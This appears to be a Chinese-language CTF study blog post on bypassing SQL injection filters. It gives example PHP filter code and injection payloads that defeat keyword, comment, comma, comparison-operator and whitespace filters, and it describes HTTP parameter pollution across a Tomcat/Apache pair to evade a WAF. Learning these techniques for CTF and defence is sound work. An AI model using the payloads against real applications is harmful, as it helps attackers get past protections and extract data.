SQL注入绕过过滤总结

Jan 1, 0001 00:00 · 244 words · 2 minute read ctf

对sql注入的一些绕过技巧和绕过技巧的原理的总结。

绕过过滤总结

2017-12-9

大小写绕过

原理

数据库使用不区分大小写的方式来处理SQL关键字,所以可以使用大小写变种来绕过。过滤时使用区分大小写的过滤函数.

区分大小写的函数

ereg()函数

preg_match_all(正则表达式不添加模式修正符 i)

preg_match(正则表达式不添加模式修正符 i)

strstr()

………

过滤代码

$ptn = "/union/";

$str = 'Union';

$b=preg_match_all($ptn,$str,$d);


var_dump($b);

单词混写绕过

利用前提

当后台将你所输入的关键字替换成空时,就可以使用单词混写绕过。

$str = "select union * from ";
$str1 = "select ununionion * from ";

$ptn = '/union/';

$rep = '';

$str = preg_replace($ptn,$rep,$str);

echo $str;

echo $str1;

过滤注释符的绕过

常见注释符

--+ ,# ;

过滤代码

$str = "select * from user where name='$user' limit 0,1 ";

$ptn = array();
$ptn[0] = '/#/';
$ptn[1] = '/--\+/';


$rep = '';

$str = preg_replace($ptn,$rep,$str);

echo $str;

绕过姿势

使用单引号(’)闭合语句

$user = 1' union select version() and '1
结果
$str = "select * from user where name='1' union select version() and '1' limit 0,1 ";

使用函数绕过

绕过对逗号(,)的过滤

对于substr()和mid()这两个方法可以使用from to的方式来解决。

select substr(database() from 1 for 1);

select mid(database() from 1 for 1);

对于limit可以使用offset来绕过

select * from news limit 0,1

# 等价于下面这条SQL语句

select * from yang limit 1 offset 0

比较符过滤的绕过

比较操作符(<,>)的绕过

此时如果比较操作符(<,>)被过滤,上面的盲注语句就无法使用了,不过我们可以使用greatest来替代比较符.(<,>)

greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值

select * from users where id=1 and ascii(substr(database(),0,1))>64

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

比较符(=)的过滤绕过

  1. like
  2. in
  3. between and
  4. regexp

    $sql = select * from user where id=1;
    使用in方法绕过
    使用示例:
    $sql = select * from user where id in (1);
    使用like 绕过
    $sql = select * from user Where id like 5
    
    
    

符号代替特殊字符

这种方法主要针对对于 or和and的过滤

使用 || 代替 or

使用&&代替and

内联注释

/**/ 绕过对空格的过滤

过滤的正则

$ptn = ‘/\s+关键字/’;

Index.php?id=’1’/**/union/**/select/**/version() #‘;

/*!关键字*/ 绕过对空格的过滤

过滤的正则

$ptn[0] = ‘/\s+关键字/’;
$ptn[1] = ‘/\/\*\*\//’;

payload

index.php?id=’1’/*!union*//*!select*//*!version()*/ #‘;

服务器解析绕过

Markdown 服务器有两个部分:一个是tomcat为引擎的jsp服务器,一个是apache为引擎的php服务器。 工作流程:客户端先访问tomcat服务器,然后tomcat服务器在向apache发送请求数据。 数据返回路径则相反。

大多数服务器对于参数解析的介绍

Markdown

解析漏洞原理

index.php?id=1&id=2这样的url在上图的环境下最终返回的数据id=2的数据。

客户端请求先到tomcat,tomcat解析第一个参数,接下来tomcat去请求apache,apache解析第二个参数。因为实际上提供服务的是apache服务器,返回数据的也是apache服务器。

为什么会出现两个服务器处理请求的情况?

因为人们通常在tomcat处做数据过滤的处理,类似于一个waf。所以可以利用解析漏洞绕过waf的检测。

tweet Share